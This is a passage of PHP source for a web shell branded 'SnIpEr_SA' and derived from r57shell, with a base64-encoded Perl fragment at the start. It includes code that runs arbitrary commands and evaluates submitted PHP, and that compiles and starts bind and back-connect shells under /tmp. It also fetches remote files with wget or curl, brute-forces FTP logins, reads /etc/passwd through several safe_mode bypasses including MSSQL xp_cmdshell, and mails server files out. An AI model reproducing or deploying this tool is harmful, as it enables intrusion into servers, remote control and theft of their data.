/nI7DQp2ZWMoJHJpbiwgZmlsZW5vKCRjaCksIDEpID0gMSBpZiAkY2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0aCksIDEpID0gMSBpZiAkdGg7DQpteSgkc /nm91dCwgJGVvdXQpOw0Kc2VsZWN0KCRyb3V0ID0gJHJpbiwgdW5kZWYsICRlb3V0ID0gJHJpbiwgMTIwKTsNCmlmICghJHJvdXQgICYmICAhJGVvdXQp /nIHt9DQpteSAkY2J1ZmZlciA9ICIiOw0KbXkgJHRidWZmZXIgPSAiIjsNCmlmICgkY2ggJiYgKHZlYygkZW91dCwgZmlsZW5vKCRjaCksIDEpIHx8IHZ /nlYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc3VsdCA9IHN5c3JlYWQoJGNoLCAkdGJ1ZmZlciwgMTAyNCk7DQppZiAoIWRlZmluZW /nQoJHJlc3VsdCkpIHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpleGl0IDA7DQp9DQppZiAoJHJlc3VsdCA9PSAwKSB7IGV4aXQgMDsgfQ0KfQ0KaWYgK /nCR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSAgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwgMSkpKSB7DQpteSAkcmVzdWx0ID0g /nc3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERFUlIgIiQhXG4iOyBleGl0IDA7IH0 /nNCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgKCRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG /nUgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I /nDApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs /nZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskY2J /n1ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo=" /nif($unix) /nif(!isset($_COOKIE['uname'])) { $uname = ex('uname -a') /nif(!isset($_COOKIE['id'])) { $id = ex('id') /nif($safe_mode) { $sysctl = '-' /nelse if(isset($_COOKIE['sysctl'])) { $sysctl = $_COOKIE['sysctl'] /n$sysctl = ex('sysctl -n kern.ostype && sysctl -n kern.osrelease') /nif(empty($sysctl)) { $sysctl = ex('sysctl -n kernel.ostype && sysctl -n kernel.osrelease') /nif(empty($sysctl)) { $sysctl = '-' /nsetcookie('sysctl',$sysctl) /necho '</head>' /nif(empty($_POST['cmd'])) { /n$serv = array(127,192,172,10) /n$addr=@explode('.', $_SERVER['SERVER_ADDR']) /n$current_version = str_replace('.','',$version) /nif (!in_array($addr[0], $serv)) { /n@print "<img src="http://127.0.0.1/r57shell_version/version.php?img=1&version=".$current_version."" border=0 height=0 width=0>" /n@readfile ("http://127.0.0.1/r57shell_version/version.php?version=".$current_version."") /necho '<body><table width=100% cellpadding=0 cellspacing=0 bgcolor=#CCCCCC><tr><td bgcolor=#000000 width=160><font face=Comic Sans MS size=4>'.ws(2).'<font face=Wingdings size=6><b>N</b></font><b>'.ws(2).'SnIpEr_SA </b></font></td><td bgcolor=#000000><font face=tahoma size=1>' /necho ws(2)."<b>".date ("d-m-Y H:i:s")."</b>" /necho ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpinfo title="".$lang[$language.'_text46'].""><b>phpinfo</b></a> ".$rb /necho ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpini title="".$lang[$language.'_text47'].""><b>php.ini</b></a> ".$rb /necho ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?cpu title="".$lang[$language.'_text50'].""><b>cpu</b></a> ".$rb /necho ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?mem title="".$lang[$language.'_text51'].""><b>mem</b></a> ".$rb /necho ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?users title="".$lang[$language.'_text95'].""><b>users</b></a> ".$rb /necho ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?tmp title="".$lang[$language.'_text48'].""><b>tmp</b></a> ".$rb /necho ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?delete title="".$lang[$language.'_text49'].""><b>delete</b></a> ".$rb."<br>" /n /n /necho "</b>".ws(2) /n /n$curl_on = @function_exists('curl_version') /necho ws(2) /n /necho "</b>".ws(2) /n /n$mysql_on = @function_exists('mysql_connect') /nif($mysql_on){ /n /necho "</b>".ws(2) /n /n$mssql_on = @function_exists('mssql_connect') /n /necho "</b>".ws(2) /n /n$pg_on = @function_exists('pg_connect') /n /necho "</b>".ws(2) /n /n$ora_on = @function_exists('ocilogon') /n /necho "</b><br>".ws(2) /n /n /n$free = @diskfreespace($dir) /nif (!$free) {$free = 0 /n$all = @disk_total_space($dir) /nif (!$all) {$all = 0 /n /necho '</font></td></tr><table> /n<table width=100% cellpadding=0 cellspacing=0 bgcolor=#2279D9> /n<tr><td align=right width=100>' /necho $font /nif($unix){ /necho '<font color=#CCCCCC><b>uname -a :'.ws(1).'<br>sysctl :'.ws(1).'<br>$OSTYPE :'.ws(1).'<br>Server :'.ws(1).'<br>id :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>' /necho "</td><td>" /necho "<font face=tahoma size=-2 color=#2279D9><b>" /necho((!empty($uname))?(ws(3).@substr($uname,0,120)."<br>"):(ws(3).@substr(@php_uname(),0,120)."<br>")) /necho ws(3).$sysctl."<br>" /necho ws(3).ex('echo $OSTYPE')."<br>" /necho ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>" /nif(!empty($id)) { echo ws(3).$id."<br>" /nelse if(function_exists('posix_geteuid') && function_exists('posix_getegid') && function_exists('posix_getgrgid') && function_exists('posix_getpwuid')) /n$euserinfo = @posix_getpwuid(@posix_geteuid()) /n$egroupinfo = @posix_getgrgid(@posix_getegid()) /necho ws(3).'uid='.$euserinfo['uid'].' ( '.$euserinfo['name'].' ) gid='.$egroupinfo['gid'].' ( '.$egroupinfo['name'].' )<br>' /nelse echo ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()."<br>" /necho ws(3).$dir /necho ws(3).'( '.perms(@fileperms($dir)).' )' /necho "</b></font>" /necho '<font color=blue><b>OS :'.ws(1).'<br>Server :'.ws(1).'<br>User :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>' /necho "</td><td>" /necho "<font face=tahoma size=-2 color=red><b>" /necho ws(3).@substr(@php_uname(),0,120)."<br>" /necho ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>" /necho ws(3).@getenv("USERNAME")."<br>" /necho "<br></font>" /necho "</font>" /necho "</td></tr></table>" /nif(!empty($_POST['cmd']) && $_POST['cmd']=="mail") /n$res = mail($_POST['to'],$_POST['subj'],$_POST['text'],"From: ".$_POST['from']."rn") /nerr(6+$res) /n$_POST['cmd']="" /nif(!empty($_POST['cmd']) && $_POST['cmd']=="mail_file" && !empty($_POST['loc_file'])) /nif(!$file=@fopen($_POST['loc_file'],"r")) { err(1,$_POST['loc_file']) /n$filename = @basename($_POST['loc_file']) /n$filedump = @fread($file,@filesize($_POST['loc_file'])) /n$content_encoding=$mime_type='' /ncompress($filename,$filedump,$_POST['compress']) /n$attach = array( /n"name"=>$filename, /n"type"=>$mime_type, /n"content"=>$filedump /nif(empty($_POST['subj'])) { $_POST['subj'] = 'file from SnIpEr_SA shell' /nif(empty($_POST['from'])) { $_POST['from'] = 'billy@microsoft.com' /n$res = mailattach($_POST['to'],$_POST['from'],$_POST['subj'],$attach) /n$_POST['cmd']="" /nif(!empty($_POST['cmd']) && $_POST['cmd'] == "find_text") /n$_POST['cmd'] = 'find '.$_POST['s_dir'].' -name ''.$_POST['s_mask'].'' | xargs grep -E ''.$_POST['s_text'].''' /nif(!empty($_POST['cmd']) && $_POST['cmd']=="ch_") /nswitch($_POST['what']) /ncase 'own': /n@chown($_POST['param1'],$_POST['param2']) /ncase 'grp': /n@chgrp($_POST['param1'],$_POST['param2']) /ncase 'mod': /n@chmod($_POST['param1'],intval($_POST['param2'], 8)) /n$_POST['cmd']="" /nif(!empty($_POST['cmd']) && $_POST['cmd']=="mk") /nswitch($_POST['what']) /ncase 'file': /nif($_POST['action'] == "create") /nif(file_exists($_POST['mk_name']) || !$file=@fopen($_POST['mk_name'],"w")) { err(2,$_POST['mk_name']) /nelse { /n$_POST['e_name'] = $_POST['mk_name'] /n$_POST['cmd']="edit_file" /necho "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#2279D9><tr><td bgcolor=#000000><div align=center><font face=tahoma size=-2><b>".$lang[$language.'_text61']."</b></font></div></td></tr></table>" /nelse if($_POST['action'] == "delete") /nif(unlink($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#2279D9><tr><td bgcolor=#000000><div align=center><font face=tahoma size=-2><b>".$lang[$language.'_text63']."</b></font></div></td></tr></table>" /n$_POST['cmd']="" /ncase 'dir': /nif($_POST['action'] == "create"){ /nif(mkdir($_POST['mk_name'])) /n$_POST['cmd']="" /necho "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#2279D9><tr><td bgcolor=#000000><div align=center><font face=tahoma size=-2><b>".$lang[$language.'_text62']."</b></font></div></td></tr></table>" /nelse { err(2,$_POST['mk_name']) /nelse if($_POST['action'] == "delete"){ /nif(rmdir($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#2279D9><tr><td bgcolor=#000000><div align=center><font face=tahoma size=-2><b>".$lang[$language.'_text64']."</b></font></div></td></tr></table>" /n$_POST['cmd']="" /nif(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file" && !empty($_POST['e_name'])) /nif(!$file=@fopen($_POST['e_name'],"r+")) { $only_read = 1 /nif(!$file=@fopen($_POST['e_name'],"r")) { err(1,$_POST['e_name']) /necho $table_up3 /necho "<form name=save_file method=post>" /necho ws(3)."<b>".$_POST['e_name']."</b>" /necho "<div align=center><textarea name=e_text cols=121 rows=24>" /necho @htmlspecialchars(@fread($file,@filesize($_POST['e_name']))) /necho "</textarea>" /necho "<input type=hidden name=e_name value=".$_POST['e_name'].">" /necho "<input type=hidden name=dir value=".$dir.">" /necho "<input type=hidden name=cmd value=save_file>" /necho (!empty($only_read)?("<br><br>".$lang[$language.'_text44']):("<br><br><input type=submit name=submit value=" ".$lang[$language.'_butt10']." ">")) /necho "</div>" /necho "</font>" /necho "</form>" /necho "</td></tr></table>" /nif(!empty($_POST['cmd']) && $_POST['cmd']=="save_file") /n$mtime = @filemtime($_POST['e_name']) /nif(!$file=@fopen($_POST['e_name'],"w")) { err(0,$_POST['e_name']) /nif($unix) $_POST['e_text']=@str_replace("rn","n",$_POST['e_text']) /n@fwrite($file,$_POST['e_text']) /n@touch($_POST['e_name'],$mtime,$mtime) /n$_POST['cmd']="" /necho "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#2279D9><tr><td bgcolor=#000000><div align=center><font face=tahoma size=-2><b>".$lang[$language.'_text45']."</b></font></div></td></tr></table>" /nif (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C")) /ncf("/tmp/bd.c",$port_bind_bd_c) /n$blah = ex("gcc -o /tmp/bd /tmp/bd.c") /n@unlink("/tmp/bd.c") /n$blah = ex("/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &") /n$_POST['cmd']="ps -aux | grep bd" /nif (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl")) /ncf("/tmp/bdpl",$port_bind_bd_pl) /n$p2=which("perl") /n$blah = ex($p2." /tmp/bdpl ".$_POST['port']." &") /n$_POST['cmd']="ps -aux | grep bdpl" /nif (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl")) /ncf("/tmp/back",$back_connect) /n$p2=which("perl") /n$blah = ex($p2." /tmp/back ".$_POST['ip']." ".$_POST['port']." &") /n$_POST['cmd']="echo "Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ..."" /nif (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C")) /ncf("/tmp/back.c",$back_connect_c) /n$blah = ex("gcc -o /tmp/backc /tmp/back.c") /n@unlink("/tmp/back.c") /n$blah = ex("/tmp/backc ".$_POST['ip']." ".$_POST['port']." &") /n$_POST['cmd']="echo "Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ..."" /nif (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="Perl")) /ncf("/tmp/dp",$datapipe_pl) /n$p2=which("perl") /n$blah = ex($p2." /tmp/dp ".$_POST['local_port']." ".$_POST['remote_host']." ".$_POST['remote_port']." &") /n$_POST['cmd']="ps -aux | grep dp" /nif (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="C")) /ncf("/tmp/dpc.c",$datapipe_c) /n$blah = ex("gcc -o /tmp/dpc /tmp/dpc.c") /n@unlink("/tmp/dpc.c") /n$blah = ex("/tmp/dpc ".$_POST['local_port']." ".$_POST['remote_port']." ".$_POST['remote_host']." &") /n$_POST['cmd']="ps -aux | grep dpc" /nif (!empty($_POST['alias']) && isset($aliases[$_POST['alias']])) { $_POST['cmd'] = $aliases[$_POST['alias']] /nif (!empty($HTTP_POST_FILES['userfile']['name'])) /nif(!empty($_POST['new_name'])) { $nfn = $_POST['new_name'] /nelse { $nfn = $HTTP_POST_FILES['userfile']['name'] /n@copy($HTTP_POST_FILES['userfile']['tmp_name'], /n$_POST['dir']."/".$nfn) /nor print("<font color=red face=Fixedsys><div align=center>Error uploading file ".$HTTP_POST_FILES['userfile']['name']."</div></font>") /nif (!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file'])) /nswitch($_POST['with']) /ncase wget: /n$_POST['cmd'] = which('wget')." ".$_POST['rem_file']." -O ".$_POST['loc_file']."" /ncase fetch: /n$_POST['cmd'] = which('fetch')." -o ".$_POST['loc_file']." -p ".$_POST['rem_file']."" /ncase lynx: /n$_POST['cmd'] = which('lynx')." -source ".$_POST['rem_file']." > ".$_POST['loc_file']."" /ncase links: /n$_POST['cmd'] = which('links')." -source ".$_POST['rem_file']." > ".$_POST['loc_file']."" /ncase GET: /n$_POST['cmd'] = which('GET')." ".$_POST['rem_file']." > ".$_POST['loc_file']."" /ncase curl: /n$_POST['cmd'] = which('curl')." ".$_POST['rem_file']." -o ".$_POST['loc_file']."" /nif(!empty($_POST['cmd']) && ($_POST['cmd']=="ftp_file_up" || $_POST['cmd']=="ftp_file_down")) /nlist($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']) /nif(empty($ftp_port)) { $ftp_port = 21 /n$connection = @ftp_connect ($ftp_server,$ftp_port,10) /nif(!$connection) { err(3) /nif(!@ftp_login($connection,$_POST['ftp_login'],$_POST['ftp_password'])) { err(4) /nif($_POST['cmd']=="ftp_file_down") { if(chop($_POST['loc_file'])==$dir) { $_POST['loc_file']=$dir.((!$unix)?(''):('/')).basename($_POST['ftp_file']) /nif($_POST['cmd']=="ftp_file_up") { @ftp_put($connection,$_POST['ftp_file'],$_POST['loc_file'],$_POST['mode']) /n@ftp_close($connection) /n$_POST['cmd'] = "" /nif(!empty($_POST['cmd']) && $_POST['cmd']=="ftp_brute") /nlist($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']) /nelse if(!$users=get_users()) { echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#2279D9><tr><td bgcolor=#000000><font color=red face=tahoma size=-2><div align=center><b>".$lang[$language.'_text96']."</b></div></font></td></tr></table>" /nif (empty($_POST['cmd'])&&!$safe_mode) { $_POST['cmd']=(!$unix)?("dir"):("ls -lia") /nelse if(empty($_POST['cmd'])&&$safe_mode){ $_POST['cmd']="safe_dir" /necho $font.$lang[$language.'_text1'].": <b>".$_POST['cmd']."</b></font></td></tr><tr><td><b><div align=center><textarea name=report cols=121 rows=15>" /nif($safe_mode) /nswitch($_POST['cmd']) /ncase 'safe_dir': /n$d=@dir($dir) /nif ($d) /nwhile (false!==($file=$d->read())) /nif ($file=="." || $file=="..") continue /n@clearstatcache() /nlist ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file) /nif(!$unix){ /necho date("d.m.Y H:i",$mtime) /nif(@is_dir($file)) echo " <DIR> " /nelse{ /n$owner = @posix_getpwuid($uid) /n$grgid = @posix_getgrgid($gid) /necho $inode." " /necho perms(@fileperms($file)) /nprintf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size) /necho date("d.m.Y H:i ",$mtime) /necho "$filen" /n$d->close() /nelse echo $lang[$language._text29] /ncase 'test1': /n$ci = @curl_init("file://".$_POST['test1_file']."") /n$cf = @curl_exec($ci) /necho $cf /ncase 'test2': /n@include($_POST['test2_file']) /ncase 'test3': /nif(empty($_POST['test3_port'])) { $_POST['test3_port'] = "3306" /n$db = @mysql_connect('localhost:'.$_POST['test3_port'],$_POST['test3_ml'],$_POST['test3_mp']) /nif($db) /nif(@mysql_select_db($_POST['test3_md'],$db)) /n@mysql_query("DROP TABLE IF EXISTS temp_SnIpEr_SA_table") /n@mysql_query("CREATE TABLE `temp_SnIpEr_SA_table` ( `file` LONGBLOB NOT NULL )") /n@mysql_query("LOAD DATA INFILE "".$_POST['test3_file']."" INTO TABLE temp_r57_table") /n$r = @mysql_query("SELECT * FROM temp_SnIpEr_SA_table") /nwhile(($r_sql = @mysql_fetch_array($r))) { echo @htmlspecialchars($r_sql[0]) /n@mysql_query("DROP TABLE IF EXISTS temp_SnIpEr_SA_table") /nelse echo "[-] ERROR! Can't select database" /n@mysql_close($db) /nelse echo "[-] ERROR! Can't connect to mysql server" /ncase 'test4': /nif(empty($_POST['test4_port'])) { $_POST['test4_port'] = "1433" /n$db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'],$_POST['test4_mp']) /nif(@mssql_select_db($_POST['test4_md'],$db)) /n@mssql_query("drop table SnIpEr_SA_temp_table",$db) /n@mssql_query("create table SnIpEr_SA_temp_table ( string VARCHAR (500) NULL)",$db) /n@mssql_query("insert into SnIpEr_SA_temp_table EXEC master.dbo.xp_cmdshell '".$_POST['test4_file']."'",$db) /n$res = mssql_query("select * from SnIpEr_SA_temp_table",$db) /nwhile(($row=@mssql_fetch_row($res))) /necho $row[0]."rn" /n@mssql_query("drop table SnIpEr_SA_temp_table",$db) /nelse echo "[-] ERROR! Can't select database" /n@mssql_close($db) /nelse echo "[-] ERROR! Can't connect to MSSQL server" /ncase 'test5': /nif (@file_exists('/tmp/mb_send_mail')) @unlink('/tmp/mb_send_mail') /n$extra = "-C ".$_POST['test5_file']." -X /tmp/mb_send_mail" /n@mb_send_mail(NULL, NULL, NULL, NULL, $extra) /n$lines = file ('/tmp/mb_send_mail') /nforeach ($lines as $line) { echo htmlspecialchars($line)."rn" /ncase 'test6': /n$stream = @imap_open('/etc/passwd', "", "") /nfor ($i = 0 /n@imap_close($stream) /ncase 'test7': /n$stream = @imap_open($_POST['test7_file'], "", "") /n$str = @imap_body($stream, 1) /necho $str /ncase 'test8': /nif(@copy("compress.zlib://".$_POST['test8_file1'], $_POST['test8_file2'])) echo $lang[$language.'_text118'] /nelse echo $lang[$language.'_text119'] /nelse if(($_POST['cmd']!="php_eval")&&($_POST['cmd']!="mysql_dump")&&($_POST['cmd']!="db_query")&&($_POST['cmd']!="ftp_brute")){ /n$cmd_rep = ex($_POST['cmd']) /nif(!$unix) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."n" /nelse { echo @htmlspecialchars($cmd_rep)."n" /nif ($_POST['cmd']=="ftp_brute") /n$suc = 0 /nforeach($users as $user) /n$connection = @ftp_connect($ftp_server,$ftp_port,10) /nif(@ftp_login($connection,$user,$user)) { echo "[+] $user:$user - successrn" /nelse if(isset($_POST['reverse'])) { if(@ftp_login($connection,$user,strrev($user))) { echo "[+] $user:".strrev($user)." - successrn" /necho "rn-------------------------------------rn" /n$count = count($users) /nif(isset($_POST['reverse'])) { $count *= 2 /necho $lang[$language.'_text97'].$count."rn" /necho $lang[$language.'_text98'].$suc."rn" /nif ($_POST['cmd']=="php_eval"){ /n$eval = @str_replace("<?","",$_POST['php_eval']) /n$eval = @str_replace("?>","",$eval) /n@eval($eval) /nif ($_POST['cmd']=="mysql_dump") /nif(isset($_POST['dif'])) { $fp = @fopen($_POST['dif_name'], "w") /n$sql->db = $_POST['db'] /n$sql->host = $_POST['db_server'] /n$sql->port = $_POST['db_port'] /n$sql->user = $_POST['mysql_l'] /n$sql->pass = $_POST['mysql_p'] /n$sql->base = $_POST['mysql_db'] /nif(!$sql->connect()) { echo "[-] ERROR! Can't connect to SQL server" /nelse if(!$sql->select_db()) { echo "[-] ERROR! Can't select database" /nelse if(!$sql->dump($_POST['mysql_tbl'])) { echo "[-] ERROR! Can't create dump" /nif(empty($_POST['dif'])) { foreach($sql->dump as $v) echo $v."rn" /nelse if($fp){ foreach($sql->dump as $v) @fputs($fp,$v."rn") /nelse { echo "[-] ERROR! Can't write in dump file" /necho "</textarea></div>" /necho "</b>" /necho "</td></tr></table>" /necho "<table width=100% cellpadding=0 cellspacing=0>" /nfunction div_title($title, $id) /nreturn '<a style="cursor: pointer /nfunction div($id) /nif(isset($_COOKIE[$id]) && $_COOKIE[$id]==0) return '<div id="'.$id.'" style="display: none /nreturn '<div id="'.$id.'">' /nif(!$safe_mode){ /necho $fs.$table_up1.div_title($lang[$language.'_text2'],'id1').$table_up2.div('id1').$ts /necho sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','cmd',85,'')) /necho sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])) /necho $te.'</div>'.$table_end1.$fe /necho $fs.$table_up1.div_title($lang[$language.'_text28'],'id2').$table_up2.div('id2').$ts /necho sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt6'])) /necho $te.'</div>'.$table_end1.$fe /necho $fs.$table_up1.div_title($lang[$language.'_text42'],'id3').$table_up2.div('id3').$ts /necho sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt11'])) /necho $te.'</div>'.$table_end1.$fe /necho $fs.$table_up1.div_title($lang[$language.'_text200'],'id3').$table_up2.div('id3').$ts /necho sr(15,"<b>".$lang[$language.'_text202'].$arrow."</b>",in('text','snn',85,'/etc/passwd').in('hidden','cmd',0,'view_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7'])) /necho $te.'</div>'.$table_end1.$fe /necho $fs.$table_up1.div_title($lang[$language.'_text300'],'id3').$table_up2.div('id3').$ts /necho sr(15,"<b>".$lang[$language.'_text302'].$arrow."</b>",in('text','SnIpEr_SA',85,'/etc/passwd').in('hidden','cmd',0,'view_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7'])) /necho $te.'</div>'.$table_end1.$fe /nif($safe_mode){ /necho $fs.$table_up1.div_title($lang[$language.'_text57'],'id4').$table_up2.div('id4').$ts /necho sr(15,"<b>".$lang[$language.'_text58'].$arrow."</b>",in('text','mk_name',54,(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4)."<select name=action><option value=create>".$lang[$language.'_text65']."</option><option value=delete>".$lang[$language.'_text66']."</option></select>".ws(3)."<select name=what><option value=file>".$lang[$language.'_text59']."</option><option value=dir>".$lang[$language.'_text60']."</option></select>".in('hidden','cmd',0,'mk').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt13'])) /necho $te.'</div>'.$table_end1.$fe /nif($safe_mode && $unix){ /necho $fs.$table_up1.div_title($lang[$language.'_text67'],'id5').$table_up2.div('id5').$ts /necho sr(15,"<b>".$lang[$language.'_text68'].$arrow."</b>","<select name=what><option value=mod>CHMOD</option><option value=own>CHOWN</option><option value=grp>CHGRP</option></select>".ws(2)."<b>".$lang[$language.'_text69'].$arrow."</b>".ws(2).in('text','param1',40,(($_POST['param1'])?($_POST['param1']):("filename"))).ws(2)."<b>".$lang[$language.'_text70'].$arrow."</b>".ws(2).in('text','param2 title="'.$lang[$language.'_text71'].'"',26,(($_POST['param2'])?($_POST['param2']):("0777"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])) /necho $te.'</div>'.$table_end1.$fe /n$aliases2 = '' /nforeach ($aliases as $alias_name=>$alias_cmd) /n$aliases2 .= "<option>$alias_name</option>" /necho $fs.$table_up1.div_title($lang[$language.'_text7'],'id6').$table_up2.div('id6').$ts /necho sr(15,"<b>".ws(9).$lang[$language.'_text8'].$arrow.ws(4)."</b>","<select name=alias>".$aliases2."</select>".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])) /necho $te.'</div>'.$table_end1.$fe /necho $fs.$table_up1.div_title($lang[$language.'_text54'],'id7').$table_up2.div('id7').$ts /necho sr(15,"<b>".$lang[$language.'_text52'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12'])) /necho sr(15,"<b>".$lang[$language.'_text53'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root /necho sr(15,"<b>".$lang[$language.'_text55'].$arrow."</b>",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt /necho $te.'</div>'.$table_end1.$fe /nif(!$safe_mode && $unix){ /necho $fs.$table_up1.div_title($lang[$language.'_text76'],'id8').$table_up2.div('id8').$ts /necho sr(15,"<b>".$lang[$language.'_text72'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12'])) /necho sr(15,"<b>".$lang[$language.'_text73'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root /necho sr(15,"<b>".$lang[$language.'_text74'].$arrow."</b>",in('text','s_mask',85,'*.[hc]').ws(1).$lang[$language.'_text75'].in('hidden','cmd',0,'find_text').in('hidden','dir',0,$dir)) /necho $te.'</div>'.$table_end1.$fe /necho $fs.$table_up1.div_title($lang[$language.'_text32'],'id9').$table_up2.$font /necho "<div align=center>".div('id9')."<textarea name=php_eval cols=100 rows=3>" /necho (!empty($_POST['php_eval'])?($_POST['php_eval']):("/* delete script */rn//unlink("r57shell.php") /necho "</textarea>" /necho in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval') /necho "<br>".ws(1).in('submit','submit',0,$lang[$language.'_butt1']) /necho "</div></div></font>" /necho $table_end1.$fe /nif($safe_mode&&$curl_on) /necho $fs.$table_up1.div_title($lang[$language.'_text33'],'id10').$table_up2.div('id10').$ts /necho sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test1_file',85,(!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test1').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])) /necho $te.'</div>'.$table_end1.$fe /necho $fs.$table_up1.div_title($lang[$language.'_text34'],'id11').$table_up2.div('id11').$ts /necho "<table class=table1 width=100% align=center>" /necho sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test2_file',85,(!empty($_POST['test2_file'])?($_POST['test2_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])) /necho $te.'</div>'.$table_end1.$fe /nif($safe_mode&&$mysql_on) /necho $fs.$table_up1.div_title($lang[$language.'_text35'],'id12').$table_up2.div('id12').$ts /necho sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test3_md',15,(!empty($_POST['test3_md'])?($_POST['test3_md']):("mysql"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test3_ml',15,(!empty($_POST['test3_ml'])?($_POST['test3_ml']):("root"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test3_mp',15,(!empty($_POST['test3_mp'])?($_POST['test3_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test3_port',15,(!empty($_POST['test3_port'])?($_POST['test3_port']):("3306")))) /necho sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test3_file',96,(!empty($_POST['test3_file'])?($_POST['test3_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test3').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])) /necho $te.'</div>'.$table_end1.$fe /nif($safe_mode&&$mssql_on) /necho $fs.$table_up1.div_title($lang[$language.'_text85'],'id13').$table_up2.div('id13').$ts /necho 